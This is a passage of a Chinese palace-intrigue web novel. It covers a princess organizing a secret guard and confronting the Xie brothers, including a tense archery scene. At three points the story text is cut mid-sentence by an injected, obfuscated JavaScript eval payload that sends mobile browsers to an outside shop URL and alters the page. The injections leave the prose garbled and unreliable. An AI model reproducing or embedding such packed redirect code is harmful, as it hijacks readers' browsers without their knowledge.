“所谓外府,由这位新来的长史主理,掌管所有往来接洽。让他们有官可做,有名可扬,有功可表。” 卢览眉飞色舞,顺手拿起盛尧搁在案上的茶盏,咕咚喝了一口,盛尧赶紧给她又斟些,“殿下让他们把仪仗做得风光些,把文书写得漂亮些,让他们忙得脚不沾地,无暇他顾。” 天哪!盛尧在心里惊叹。 “内府嘛,”卢览的笔尖移到另一侧,“便是我等安身立命之所。殿下可以内帏私务为名,不设官职,只设职事。” 她笔锋一转,分别写下两个名字。 “郑小丸,为‘内卫都尉’,总领内卫操练、宿卫、遴选之事。所有人员名册、钱粮用度,不入少府,不经卫尉,只对殿下与内府负责。” “我,”她洋洋得意,“卢览,为‘内府记室’,为殿下掌管私库钱粮,调度机密文书, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“偷来的。”卢览漠然道,指着其中几个,条理分明地与她解释,“这是麟卫的校尉张三,他上月告了病假,俸禄照发。我便用他的这份,在外面招了两个身手好的游侠。这是鸾仗的队率李四,她家中嫁娶,我托她举荐了两个同乡,暂代其职,薪酬减半,余下的钱,又够养活三个人。” 她又展开一卷,“唔,还有这个,东宫卫戍有个缺额,按规矩要上报补选。崔长史那边刚把文书递上去,咱们就让郑都尉找了个可靠的人,花了点钱,抢先把这个位置买了下来。人还是我们的人,钱入了咱们库里。” “咱们……现下拢共多少人?” 卢览理直气壮地一比划。 “六百多。” 盛尧听得目瞪口呆,看着卢览的圆脸,喜滋滋地一拍她背: “阿览,你真是……真是个吃空饷的天才!” 利用禁中人手换班的混乱,告假离职的空隙,甚至卖官鬻爵的陋规,上下其手,左右腾挪。 那些本该被各级官吏层层盘剥、中饱私囊的钱粮,如今都变成了她内府的兵马。这种感觉……盛尧摸摸脸,感觉自己好像也跟着学坏了,但这坏事做得,实在是痛快! 她正自高兴,却见卢览卷起账册:“殿下,最要紧的,是尽快遴选出真正的可用之才。” 盛尧点点头,正要说话,门外却响起一阵细微的叮铃声。 那声音,已经有许多天没有听到过了。 门被推开,谢琚抱着他那只宝贝手炉,慢吞吞地走了进来。 几日不见,他似乎清瘦了些,脸色也更显苍白,衬得唇色淡了许多。左耳上那处伤口大约是落了痂,不再红肿,只余一点浅浅的疤痕,青珊瑚坠子便安安稳稳地悬着,随着走动,在颊边轻轻摇晃。 他一进门,便皱起了眉,目光在书房内扫了一圈,似乎很不喜欢突然多出来陌生人。 “呵。”谢琚冷漠地移开目光,发出点声音,带着刚睡醒的沙哑,走到盛尧身边,自然地就想往她身侧倚靠。 盛尧赶紧往旁边挪挪。 谢琚倚了个空,身子一晃,看看盛尧,又看看卢览,绷着脸,将手炉抱得更紧了些。 卢览站在一旁,举起下巴,面无表情,看着谢琚,神色里很是不虞。 盛尧正觉得头皮发麻,不知该如何收场,老黄门令恰在此时,脚步匆匆地从门外走了进来,手里捧着一卷文书。 “殿下,”他躬着身,将文书呈上,“司隶校尉府递来的公文,是关于前几日都亭冲突一案的结案文书,请殿下过目。” “好好好,拿来拿来。” 盛尧如蒙大赦,舒舒脖子,赶紧接过文书,故作镇定地展开,心里却长长地松了口气。 低头看去,文书上工整地记录了那日冲突的“始末”。言辞之间,将过错尽数推给那名“醉酒滋事”的游徼,又赞扬东宫卫士“忠心护主,处置得当”,最后豪迈的落款花押,此事便算了结。 盛尧草草看过,正要将文书卷上,却被其中一处细节吸引。 文书的附里,提到了当夜盘查的缘由,是因接人首举,称有“乱党”欲趁夜潜入宫城附近。司隶校尉府派人追查,虽未果,却在现场附近,查问到一位目击的官宦。 那人称,曾见一辆形制可疑的马车,在街角逗留许久。 盛尧的心猛地一跳。 她凑近些,仔细去看那段描述:“……四马所驾之辎车,车身髹黑漆,以银粉描绘云纹,车角悬铜铃,车前灯笼上,隐有‘谢’字纹样……” 谢琚偷偷在她身后伏上一伏,盛尧手忙脚乱,慌得都不及赶他, 如今的司隶校尉,乃丞相第二子,谢充。 16. 抢阿摇 司隶校尉这个官职,即使现今吏治再不清明,也不是普通有钱有势就能妄想的。 虽然品秩也是二千石,与一般的九卿中郎将相似,但若是走进卖官鬻爵的店铺说,咱这次就来个司隶校尉吧! 基本类似于走进一个炊饼铺子,向老板说,这回就买你亲爹了!效果差不太多。 位不高而权极重,督察三辅、三河,掌握司州都畿地区的军政监察,无所不纠,且有三千余卫戍军队,是控制都中和禁中的核心。 谢巡早年便曾自领此职,现今让次子谢充担任,可见对这个儿子的信用之重。 此人老太傅说他“贪婪”,郑小丸说地方官吏“吃相难看”,这两者加在一起嘛…… 盛尧手里把结案文书翻来覆去看了几遍,将背后的谢琚拍开,支着下巴,对着窗外枯枝上的积雪发呆。卢览虽能为她筹谋内府之事,可对外,尤其是对上谢家那几个,也不太方便动手。 “唉……”她喃喃自语,“真是阴魂不散。” 抱怨本是冲着那辆不知是谢家哪个公子的黑漆马车去的。话音刚落,身侧便传来一声带着不满的“嗯?” 谢琚大约以为盛尧是在说他,皱起眉。 盛尧摆摆手:“不是说你。” 谢琚满意地点点头,又心安理得地将下巴搁上她的肩。 盛尧被他压得一歪,脑子里却动了一下。 是了,眼前不就坐着一个姓谢的吗? “殿下?”卢览见她神色有异,上前一步,“可是文书上有什么不妥?” “不妥的地方多了去了。”盛尧将手炉塞回谢琚怀里,将他往旁边推推,“这上面说,那晚在街角逗留的马车,是谢家的。” 卢览眉心一紧:“谢家?哪个谢家?” “还能有哪个,”盛尧唉声叹气,指指挂在身边的谢琚,“他家的。” 卢览的脸色也沉了下来。不管是谢家哪个,此时牵涉到司隶校尉谢充,这可不是什么好相与的人物。 “殿下是怀疑,那晚的盘查,是谢充有意为之?” “不好说。”盛尧摇摇头,但若只是寻常的都亭长勒索钱财,绝不敢在见了东宫符传之后还如此嚣张。背后倘或没有谢充的默许甚至指使,借他们一百个胆子也不敢。 一个谢巡已经够让她头疼,如今又冒出个虎视眈眈的谢充。谢家这几个儿子,果然如太傅所言,没一个是省油的灯。 她正自烦恼,却瞥见谢琚正百无聊赖地拿手指绕衣带上的玉佩流苏。随手倚靠,闲适自然,与日前在车中气得背过身的样子毫不相似。 唔。 没一个是省油的灯。 那这个人……当真是个彻头彻尾的傻子吗? 嘉德殿上,白马撞殿、当众穿耳,恰到好处地解了围,甚至反将了那两位使者一军。那晚在街头,他一言不发,“送美人”的谎话,他当真一点都听不懂? 司隶校尉谢充,执掌禁中兵事,是心腹大患。可此人深居简出,性情如何,喜好如何,她一概不知。知己知彼,方能百战不殆。眼前这个……不正是谢充的亲弟弟么? 还是得试试。 盛尧朝卢览使了个眼色:“阿览,你先去将内府的册籍整理出来,我稍后便去。” 卢览会意,当即行礼告退。书房内,只剩下盛尧与谢琚二人。 盛尧等了片刻,感觉时机差不多了,便推推肩上那个美丽的脑袋。 “鲫鱼,醒醒。” 谢琚似乎很不情愿。 “我问你个事儿,”盛尧敲敲手上的文书,循循善诱,“你那个……嗯,这文书的……那个人,是个什么样的人?” 她不敢提“二哥”二字,怕刺激到他,只好含糊地用“那个人”指代。 谢琚终于睁开一边眼睛。顺着盛尧的目光,扫过往那扇刚刚关上的门,少做停顿,终于回答: “不好。很凶。” 性格酷烈。盛尧心里一喜,有门!套出来了! “对,是很凶。”她深以为然,搓搓手,赶紧追问,“……是不是很难对付?” 漂亮的眉毛微微蹙起,似乎在认真回忆。片刻后,表示肯定。 “吃得多,话也多。” 盛尧眼睛一亮。不正是“贪婪”与“专横”么? 这人果然不是个真傻子。 她精神大振,又凑近些:“那……他喜欢什么?有什么弱点?” “喜欢管人。不喜欢别人碰她的东西。” 盛尧心里的小鼓啪哒哒。喜欢管人——司隶校尉嘛,监察都中,势所必然。不喜欢别人碰她的东西——手掌禁军,权同开府,僚属任命自专。完全对得上,几乎要为自己的急智拍案叫绝。 “你好像……很不喜欢他?”她小心地问。 “她抢我的东西。”谢琚立刻应道,显而易见的愤慨。 盛尧心里顿时明镜似的,同情地拍拍他的肩。兄弟阋墙,争权夺利,自古如此,更何况谢氏这兄弟四人,那样复杂。看来这谢家二公子,没少欺负他这个弟弟。 只是她原以为,谢琚应该与他大哥更加生分些。毕竟谢丞相的长子,乃是早年无子时,从去世兄长处过继而来,并非亲生。又多年领兵,在谢巡地位未显时,长久地跟着他,此刻还驻扎在司州北部。 而这个次子谢充,反而是发妻之子,身处都中,早就有风声说他不得谢巡喜爱。其母也是早亡,遭遇多少与谢琚相似。 盛尧本来琢磨着,他这二哥说不定会与他亲近。却没想到,谢氏诸子纷争已经到了如此明白尖锐的境地。因此她匆忙接着细问: “抢东西?抢什么?钱吗?还是……?” “抢阿摇。” “啊?”盛尧一呆,“抢我?” “对,”谢琚笑吟吟地,“她一来,你就不理我。还抢你的笔,抢你的地方。” 盛尧大惊失色。 “抢阿摇”,大约指谢充也打算控制宗室傀儡! “抢笔”,自然说的是干预政事! “抢地方”,天哪,居然觊觎储君之位么! 原以为谢充只是个贪财的酷吏,没想到其野心居然还在其父之上。 真不是个傻的,真不是个傻的。 印证了她的猜想,盛尧下定决心,以后要将这谢四公子说的话,多多留意。 谢琚顺带明里暗里把卢览骂了一通,此时心里很是痛快。 却怕她真的把这臂助赶走,但又不想让这小皇女身边再多添些妄人,因此锲而不舍地追问: “那你打不打算赶她走?” 赶走?把一个手握京畿兵马、权势熏天的司隶校尉赶走?这话也只有他这个疯子才敢说。 “不赶。”盛尧揉了揉脸。……赶不了。 “你好小气。”谢琚怒道。 盛尧懒得理他,只顾得琢磨自己的事。 一个性格最为酷烈,野心勃勃,又不受宠爱的儿子,那谢巡又为何要将司隶校尉这样至关重要的职位,交到他的手上? 实在出人意外。 司隶校尉,执掌都中监察与兵事,是天子脚下的利刃。谢巡既为权相,最忌的便是旁人染指京畿兵权。 她所读的史书里,权臣防备儿子夺权的例子比比皆是,或是分其兵权,或是外放边地,或是干脆寻个由头圈禁起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一连几日,别苑都十分平静。卢览将事情办得无懈可击,但礼单送出去了,表彰的奏章也递上去了,都如石沉大海,没得到任何回应。谢充那边既不收礼,也不退礼,奏章到了丞相府,谢巡也只是留中不发。 就这么不冷不热,比直接的敌意更教人心焦。 当盛尧以为此事将不了了之的时候,丞相府那边,终于传来了消息。 来的是外府长史崔亮。恭恭敬敬地递上一份名刺,对盛尧道:“殿下,谢府递来消息,说是……君侯想请殿下到城西别业一叙。” 盛尧接过名刺,展开一看,上面只有一个“绰”字,笔锋清隽。 “君侯?”她有些不解。 崔亮躬身解释道:“殿下,这……这说的是三公子,谢绰。三公子如今领中领军之职,开府置佐,按制,可称君侯。” 中领军,掌禁军五营,宿卫宫中,是比司隶校尉更近的军职。 盛尧很是吃惊。 她以为这几日明里暗里的示好,会引来谢充的回应,却没想到,先找上门来的,竟然是老三,谢绰。 “他……他请我去做什么?”心里的小鼓就打起来了。 崔亮捋须道:“名刺上只说是‘赏雪清谈’,旁的?下官也不知晓。” 又是清谈。盛尧十分抓狂,对这些名士行径简直有阴影。 她看向一旁的卢览,卢览正折腾一堆竹简,从上面冒出头,对她微微颔首。 “嗯,”盛尧定一定神,“你回话去,便说我准时赴约。” 待崔亮退下,卢览才从后头跟上来,皱着眉毛:“殿下,此事蹊跷。咱们算是与二公子谢充交接,他却按兵不动,反倒是素无往来的三公子先下帖。这恐怕……不太对罢。” “我知道。”盛尧点点头,手里捏着名刺,焦急地转圈,“可我能不去么?” 正说着,迎面见谢琚走了过来,白裘绵密地在身侧垂落。 “阿摇,”青年偏一偏头,自后面将她拢住,笑着问她,“你在害怕吗?” 17. 这是帝王术吗 怕有什么用,怕有什么用啊诸位僚属们! 太庙冠礼那日,她死了也就死了。毕竟盛氏宗室凋零得可以,几乎算是孑然一身。但现今皇太女府里数百号人的身家性命,都系在她这一个不成熟的主君身上。 盛尧拍拍脸,抖擞精神。 “说什么傻话。”她说。 可到了会面那日,盛尧就觉得自己有点傻了。扮了许多年的太子,虽然幽禁,但多少也习过一点骑射之术。城西别业路途不近,她既不想惊动外府,动用繁琐又惹眼的东宫卤簿,便想着只带郑小丸与卢览,三人各乘一骑,扮作寻常武官出行,既低调,又便捷。 主意打得很好,一大早便兴冲冲地吩咐备马。 “不可。” 外府长史崔亮第一个站出来反对,“殿下,皇太女仪制虽未尽善,但终究是国之储贰,代表天家颜面。岂可作武人打扮,轻骑简从?若有冲撞,臣等万死莫辞。” 盛尧皱眉:“我着便服,扮作寻常郎君便是。” “这个。” 卢览从崔亮身后探出头来。递过一套刚刚烘暖的皇太女常服,神情严肃得像在呈递国书,“皇太女礼服,是丞相亲自督造,按天子衮冕之制减半,缀有十二章纹。今日所会之人,乃中领军谢绰,此去名为清谈,实为试探。您若不着正装,便是示弱,是怯了阵。” “可我又不是去打仗,”盛尧接过衣服,很是不情愿,“这身衣服……怎么骑马?” 崔亮与卢览异口同声:“殿下,这身衣服,本就不是用来骑马的。” 盛尧彻底泄气。 玄底赤边的华服,广袖长裾,腰间佩着长长的玉珩组佩,走起路来环佩叮当,听着是威仪,实则步子稍大些都嫌累赘。更别提跨上马背了。怕是裙裾还没撩起来,走得快些,三步要摔两步。 她不愿大张旗鼓地动用全套仪仗,那无异于向谢氏兄弟宣告“我来了,快来看我这个傀儡”,好光彩吗? 在崔亮与卢览半是劝说半是坚持之下,只择了一辆形制不算太张扬的辎车,由郑小丸率一队内卫扈从,轻车简从,往城西而去。 盛尧认命地被塞进了车里,卢览紧随其后,见她气得趴在车壁上,便拿起一旁的毛裘毯子,替她掖掖。 “唉。”盛尧痛苦。卢览庄重地点点头。 “殿下,今日赴宴,万事小心。谢家三公子其人,风评比二公子更为阴沉难测。” 盛尧“唔”了一声,心里刚觉得暖和,掀开车帘角向外望去,这点暖意便被一阵凉风吹得干干净净。 车驾之侧,谢琚正悠然地骑在一匹通体雪白的骏马上。 银鞍白马,飒沓流星。 他依旧穿着茜色衣袍,戴着玉色小冠,束带垂落,拂过摇晃的青珊瑚坠。 白裘,白马,白色的雪和白色的玉。那唇色天然带朱,寒风又将衣袂吹得如红霞飞卷。 青年整个被茜色环绕,宛若包裹在葡萄醇酒之中,一时天地之间,若携风雪倾颜色,似有流霞酌美人。 盛尧:“……” 看看人家,再看看自己个儿,被困在这四四方方的车厢里,像个被精心打包好的货物。 盛尧又羡慕又气,心里打定主意回去必要将这皇太女服饰给删节些许。 “中庶子,”她忿忿地喊,谢琚手上一策缰绳,白马急行几步,行到车侧,连人带马,偏着头看她。 盛尧探身出去,上下打量一打量,酸不溜丢地赞道:“好马。” 真个一代名驹,漂亮得不像是匹傻子的马。 盛尧心里疑惑,谢琚脸上露出些许得意,很是受用地伸手拍了拍马颈,白马通人性地打了个响鼻。他笑吟吟地看着盛尧,也不说话,等着她继续夸点什么。 盛尧心里更酸了。扫一眼那匹通体雪练的宝马,再想想自己那匹据说还养在东宫马厩里,其实多年未曾见过面的太子坐骑。 “它叫什么名字?”她怒道。 谢琚脸上笑容一顿,漂亮的眼睛里略有不安,抿了抿唇,目光游移。 就在她准备说“算了算了,想不起来便不想了”的时候,谢琚终于开了口,含糊不清。 “……叫来福。” 盛尧:“……啊?” “来福。”谢琚重复了一遍,这次说得清楚,很肯定地点点头。 盛尧稍作思索。 应该还是一匹傻子的马。 辎车缓缓前行,穿过都中坊市,往西郊而去。卢览靠在车边,眼看就要睡着了。别业越来越近,盛尧心里忽然生出一股悲壮来。咬咬牙,瞧一眼那或许心思叵测的茜衣青年,打定主意不能再被敷衍过去,她掀起车帘。 “中庶子,”盛尧扬声道,“你与你二哥、三哥,平日里……关系好吗?” 谢琚闻声,控着马又凑近了些,隔着车窗看她,想了一想,摇摇头。 “不好。” “为何不好?”盛尧追问,“你二哥……是不是时常欺负你?” 谢琚似乎没听懂“欺负”二字,只是偏着头,答非所问:“他很凶,不喜欢我。三哥……很少见到。” 倒也符合传闻。谢家三子,想来都不会对这个弟弟有多少耐心。盛尧一横心,索性单刀直入:“那……你父亲为何不喜欢你二哥,却还要将司隶校尉这样要紧的官职交给他呢?” 这个问题,已然触及了谢氏内部权力的根本。旁边卢览哧溜一下就醒了,从身后凑过一边耳朵。 谢琚控着马,许久不答,忽然目光一转,盛尧顺着方向看去,只见远处的雪地里,一只灰色的野兔正警惕地竖着耳朵,一跃消失在枯草丛中。 “阿摇打过猎吗?”谢琚转过头,笑吟吟地问她。 盛尧一愣, 形式上是打过的。天子四时四猎,春蒐、夏苗、秋狝、冬狩,礼制所存。虽然父亲在位时从未能真正进行过合适的狩猎,往往只是做个样子,但她作为太子时,确实是大约学习过其中的仪式步骤。 “阿摇打猎是什么样的?”谢琚骑在马上,稍稍俯身,迫得近了,看起来就有些锐利,“一定很是好看。” 盛尧匆匆与他比划,“就是,嗯……”她想了一想,“许多人,带着许多犬只。教侍从先放出去些胆大凶恶的猎犬……” ——将山林里的猎物惊吓,驱赶出来。 “然后呢?”谢琚温柔地追问。 “然后猎手们便张弓搭箭,在猎物奔逃的路线上等着。所谓‘势子’,便是如此了。” 话音刚落,自己便是一怔。 驱赶猎物的恶犬,与好整以暇的猎人。 盛尧一矮身,钻回了车里,带起一阵冷风。 “阿览!” 声音发颤,不是因为冷。她一把抓住卢览的手臂,“你说,有没有这样一种可能?” 卢览被吓得一愣,还没来得及问,便听盛尧说:“猎犬!最凶恶的那条猎犬,喂养得最健壮,用来将猎物赶出来,赶到猎手早已埋伏好的箭矢之下!” “啊?” “谢充!”盛尧拿手指比划,“谢充就是那条最凶的猎犬!谢巡把他放在司隶校尉这个位置上,就是要用他酷烈贪婪的性子,让他去撕咬异己!他咬得越凶,得罪的人就越多!” 卢览但凡反应过来,就比她还要兴奋,顺着她的话头往下说:“三公子谢绰,便是那个张弓搭箭,安坐不动的猎手。二公子在前头冲锋陷阵,扫清障碍,所有的恶名都由他来背。” “哦,”盛尧寻思,“兄弟二人非但不能联手,反而会因为这份‘功劳’与‘庇护’而生出嫌隙,彼此牵制。谢充做得越多,根基就越不稳,越需要谢绰为他周旋;而谢绰乐得坐享其成,看着这个二哥为自己披荆斩棘,最后再以一个‘宽仁’的名声收拢人心。” 既用其术,又折其势,驱虎吞狼,兄弟阋墙。 一个在前头得罪了满朝公卿,一个在后头坐享其成。谢充无论如何树大根深,都只能被牢牢地绑在谢氏的战车上。他威势越盛,树敌越多,也越需要依赖父亲的权势与三弟的“调停”庇护, “晓得了,”盛尧靠在车壁上,长长地吐出一口气,“怪不得……怪不得都说谢家诸子,后继复杂……原来竟是如此。” 原以为只是寻常的兄弟反目。背后居然有谢巡如此冷酷的身影。 卢览摇头,撇一眼车外,“那他呢?既然丞相这样安排,为什么不让殿下即刻大婚?” 他呢?他在他父亲眼里又算是什么? 是啊。盛尧狐疑,为什么不立刻让她与谢氏绑死?总不会是心存怜悯吧!她想起冠礼上的长史, “怕我坚持不从,一头碰死?” 诱饵?弃子?还是用来迷惑所有人的,最华丽也最无用的点缀? “中庶子,”盛尧忍不住掀开车窗,“你觉得,做猎犬好,还是做猎手好?” 谢琚闻声,控着马又走近了些。 青年看着盛尧,稍作沉吟,似乎认真地想了一想,忽然仰头一笑,矫矫白马,猎猎冬风。 “我喜欢做兔子,”他轻松地说,“兔子跑得快,谁也抓不住。” 盛尧被这傻子气的无法,白白被寒风吹了会,只得暂时先回到车里,想起谢丞相的手段,估计自己此番要见的,大约就是谢巡属意的继承人。因此反倒有些沮丧。 “这是帝王术吗,阿览?”盛尧拿手捂住脸颊,“你说,这是不是帝王术?” 卢览在她旁边,瞪她一眼,“我怎么知道?我又不是帝王。” * 盛尧觉得,这世上再没有比想明白一件事,更让人心里痛快又踏实的了。 不过是个猎手罢了,她想,只要自己不傻乎乎地往人家的箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741679|188915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矢底下跑,总归是能周旋一二的。更何况,她现在可不是一只孤零零的兔子。 城西别业,与其说是赏雪清谈的雅致去处,倒不如说是一座小型的军中壁垒。 高墙壁立,四角建有望楼,门前守卫皆是身披甲胄、气势彪悍的军士。辎车行至门前,便被拦下。 盛尧下了车,抬头望一眼高耸的门楼, 穿过演武场,绕过兵器架,才见到几分园林的景致。只是这园林也与寻常不同,亭台楼阁,疏朗开阔。 自有仆役上前,引着他们一行人穿过回廊。庭院中,积雪被清扫得干干净净,两侧的松柏上覆着白雪,更显苍翠挺拔。 一路行至暖亭,只见一位身着玄色深衣,外罩一件素色鹤氅的男子,正立于堂前,含笑相迎。 那人三十出头的年纪,不似谢琚那般锋芒毕露的艳色,面容俊朗,眉目沉静,腰间佩着一柄古朴的长剑,广袖之下,隐约可见护腕的轮廓。 他负手而立,身后跟着数名同样作武官打扮的属僚,见盛尧一行人走近,上前几步,不卑不亢地一揖。 “臣谢绰,拜见皇太女殿下。”声音温和醇厚,“殿下屈尊前来,绰不胜荣幸。” “领军将军。”盛尧虚扶一把:“君侯不必多礼。今日冒昧来访,多作叨扰。” “季玉也来了,”谢绰笑容不变,“许久未见,四弟风采依旧。” 谢琚点点头,抱着手炉,也不看他三哥,熟门熟路地往她身后一站。 盛尧只觉得背后芒刺遍生。 “殿下当日在嘉德殿上,以雷霆之势,折冲樽俎,实在令绰敬佩不已。”谢绰微笑着为她斟上一杯热茶,言辞恳切,“我大成有殿下这般英明果决的储君,实乃社稷之幸。” 唔。 本来以为是个武将,但这人说话意外的文绉绉。盛尧端起茶盏,热气扑面氤氲。要是倒霉哥哥还活着,现在坐在这里的就是他,想必谢三公子就不会说什么“天命所归”,只会说“理所应当”。 心里这样想,嘴上却习惯得很了,东宫排场话自然流露,她欠身道:“君侯谬赞。我年幼识浅,还需倚仗君侯与朝中诸公多多辅弼。” “殿下过谦。”谢绰放下茶盏,目光转向亭外风雪,“父亲为国操劳半生,如今有殿下与季弟,‘龙凤双生,阴阳合德’,正应了天意昭昭。如此一来,父亲也可稍稍宽心了。” 他又将那套谶纬之言拿出来,说得比谁都恳切。盛尧心里的小鼓越打越快。 两个人推来捧去,寒暄几句,他那亲弟却只是安闲坐在侧后,随手拨茶,一语不发。 “只是绰有一事不解,”忽然这位儒将缓缓地道,“天降祥瑞,兆应我谢氏,四弟虽心智有损,却恰能应这谶纬,辅佐殿下。但为何只应在季弟身上,却不及其兄长呢?我与季弟,皆是父亲骨血,若论辅佐。难道为兄的,便及不上季弟么?” 此言一出,暖亭之内,卢览坐在陪席,身子一下就竖了起来。郑小丸手按剑柄,浑身紧绷。 盛尧赶紧将事情拨过:“君侯说笑。事乃天定,非人力所能揣度。” “是吗?”谢绰笑一声,站起身,走到暖亭之外。伸手从廊下的箭壶中抽出一柄长弓,弓身古朴,隐有光华。 “古人云,国之大事,在祀与戎。心中有惑,常卜之以龟甲;军阵遇疑,则问之以弓马。” “殿下,风雪甚好,阁中清谈未免无趣。”他转身,手揽弓箭一揖,“绰不才,忝为谢氏子,久列军旅,于玄妙之道不甚了了。斗胆请以弓马卜之,为殿下天命助兴。” 他说着,不待盛尧说话,姿态娴熟地挽弓搭箭。 盛尧心头一紧,卢览在她身后,悄悄拉拉她的衣袖。 一声锐响,羽箭破空,众人尚未看清,远处五十步外的鹄的中心,便猛然一震。 “好!”席上属僚齐声喝彩。 谢绰却似浑不在意,搭弓上弦,连取两箭。 第二支,第三支箭紧随而至,接连恰中红心。 三射三中,众人喝彩,尽皆赞道天意昭昭。谢绰掂一掂弓,也不看箭靶,只是转向盛尧,微笑道:“殿下你看,这天意似乎也并非不能为人所用。” 这人说话文绉绉得可怕,却也真个文武全才,还是冲着她来的。盛尧脸色发白,心里害怕,只觉得鲫鱼怎么有这样难缠的哥哥,心里琢磨当说什么方才合适。 谢绰又取了第四支箭,这一次没有立刻搭上弓弦,缓慢地踱步,走到谢琚面前。 “四弟,”声音依旧温和,“你说是么?” 谢琚点点头,手炉揽在茜色衣袍之中,手上铜铃轻轻响动,低头一笑。 “三哥,很厉害。” “是啊,”谢绰笑了,他将第四支箭搭上弓弦。 这一次,却将弓缓缓抬起,箭尖遥遥,指向谢琚咽喉。 18. 想 暖亭之内,霎时沉寂。 天光映照,箭簇折射出一点幽亮的寒星,正对着谢琚咽喉。只要谢绰的手指稍稍一松,这根羽箭便能洞穿他四弟的颈项。 郑小丸拔剑出鞘。立刻有个白面长须的属官按剑两步,挡在她面前,面色阴沉。卢览托地跃起,从后横身将郑小丸死死抱住。 “都别动!” 盛尧仍然怕的要命,心里怦怦直跳,从席上站起身,按住郑小丸握剑的手,将她和卢览一起推开。 谢绰身后的属僚们也齐齐按住刀剑,神情冷峻,亭内亭外,杀机陡起。 唯有箭锋所指之人浑然不觉。似乎对近在咫尺的死亡毫无概念。 那手腕微动,铜铃轻轻摇了一声。 叮铃。 铃声清脆,响在这暗哑的对峙中,很是诡异。 “三哥,”他微微一笑,温柔平和,“这个不好玩。” “是。”谢绰笑道,目光沉静如水,手指稳稳扣着弓弦,“天意既在季弟,想必区区凡铁,是伤不得分毫的。季玉,你说对么?” ……这就是谢丞相属意的继承人。 盛尧咬咬牙,打起精神,看看郑小丸,又看看卢览。 心脏几乎要从胸腔里跳出来,将要刮擦到喉咙。 她把狂跳的心脏压回里头,狠下意志,欺身向前,趁着谢绰手秉弓箭,一把抓住他腰间佩剑的剑柄。 谢绰正满引弓弦,没料到她会突然逼近。盛尧根本也不管什么礼数,回手便拽。 “殿下!”崔亮与卢览齐声惊呼。 四周仿佛被抽提着拉远了。她只感觉到剑柄凉的不行。 谁也没想到这所谓的皇太女会突然发难,众人不及阻拦,只听佩环纷乱,铿锵一响,那剑便即抽出。谢绰大惊,回身便要去格挡, 不待他放下弓箭,盛尧双手握住剑柄,用尽全力,朝着他旁边的檀木案几,径直劈了下去! 哐当! 一声巨响,木屑横飞。案几被她从中劈开,断口参差,案上的茶盏杯盘狼藉碎裂,茶水腾起白茫茫的蒸汽。 温热的水珠泼溅到众人身前,谢绰闭了一下眼。 再睁开时,他的佩剑,正插在身侧半尺之处,剑身还在微微震颤,发出嗡嗡的余音。 满座皆惊,全无一人敢说话。 茶水顺着断木滴落在地。 答。 滴答。 连谢绰也因此暴烈而退了两步,长弓低垂,手中的弓弦微微一松。 “领军将军!” 盛尧双手握剑,抬起头,喘着气,胸口剧烈起伏,直视着谢绰,厉声喝问: “这是在质疑我的天命吗?!” 剑尖上指,茶水沿着剑身血槽反折流下,又从指间滴落。 谢绰笑容收敛,缓缓放开弓弦,看着眼前这个持剑而立的少女。 “若有质疑,君侯当即刻回府,以此弓此箭,叩问于丞相!” 盛尧反手将剑尖往地上一顿,这剑比她手臂还长,“若不质疑,那还有什么可占卜的?!” 谢绰脸上变色,露出了真正的讶异。缓慢地将指向谢琚的弓收起。 “殿下息怒。”他脸色变幻不定,将弓递给身后的属僚。过了片时,从容地整理了一下衣袍,“殿下说的是。绰只是……久未见四弟,与他开个玩笑罢了。” 他走上前,绕过被劈开的桌案,又扫视盛尧手中长剑,忽然微笑。 “给殿下奉茶。”他向身后点点头,便有侍从慌张过来,收拾案几。谢绰伸手示意,众人按下气氛,重又入座,复又亲自为盛尧斟上一盏热茶。 他俯身将茶盏双手奉上,盛尧却不接,只是皱着眉头,将那柄沉重的长剑还入他腰间。 铮地一声,长剑归鞘。 “古人云,射以观德。”盛尧扬起头,将麻得发抖的手背到身后,“君侯好射术,我今日已经见到,这已经足够。” ——无所谓了,她恨恨地想。至于你刚才箭指胞弟,观的是什么“德”,咱们心知肚明。 “殿下过誉。”谢绰把她的讽刺全当耳旁风,只是笑道,“殿下雷霆威重,心资玲珑,绰今日方才领教。” 他收回茶盏,自己饮了一口,目光却越过盛尧,扫向自始至终都未曾动过的谢琚。 “倒是很得殿下宠爱。” …… 啊? 盛尧发呆,盛尧疑惑,我是这个意思吗? “……殿下可听说过,”谢绰在她走神时忽然开口,语调悠然,“我这四弟,此前是何等模样?” 这人武艺又好,说话又惯于咬文嚼字,盛尧头疼得很,恨不得立时就走,偏偏他要在这里慢慢相谈。 “有所耳闻。”她还在被那句宠爱震惊,含糊应道。 “哦?”谢绰放下茶盏,“那殿下听到的,恐怕只是些皮毛。我这四弟,年少时便称美玉,十三岁能作问难,十五岁,父亲考校我兄弟兵法,沙盘推演,我三战三败,皆负于他一人,当时都中都道:‘谢氏四子,琚玉最贤’。” 他停顿片时,冷冷一笑,“殿下,这等聪明骄傲的人,会因为母亲亡故,便伤心过度,变得痴傻,说出要当皇后这等荒唐言语么?” 他摇头。 盛尧身上稍微出汗,都能感觉到卢览在席后坐立不安,此事正是谶纬之说的根基。 “三公子小心说话,”她试着沉下脸,“中庶子因为母亲去世害了心智,这是人伦常情。” “是么?”谢绰轻笑一声,闲适地靠上凭几,“母丧之痛人皆有之。可一个士族男子,若真要做了皇后,我这弟弟,心里难道就不怨恨殿下吗?” 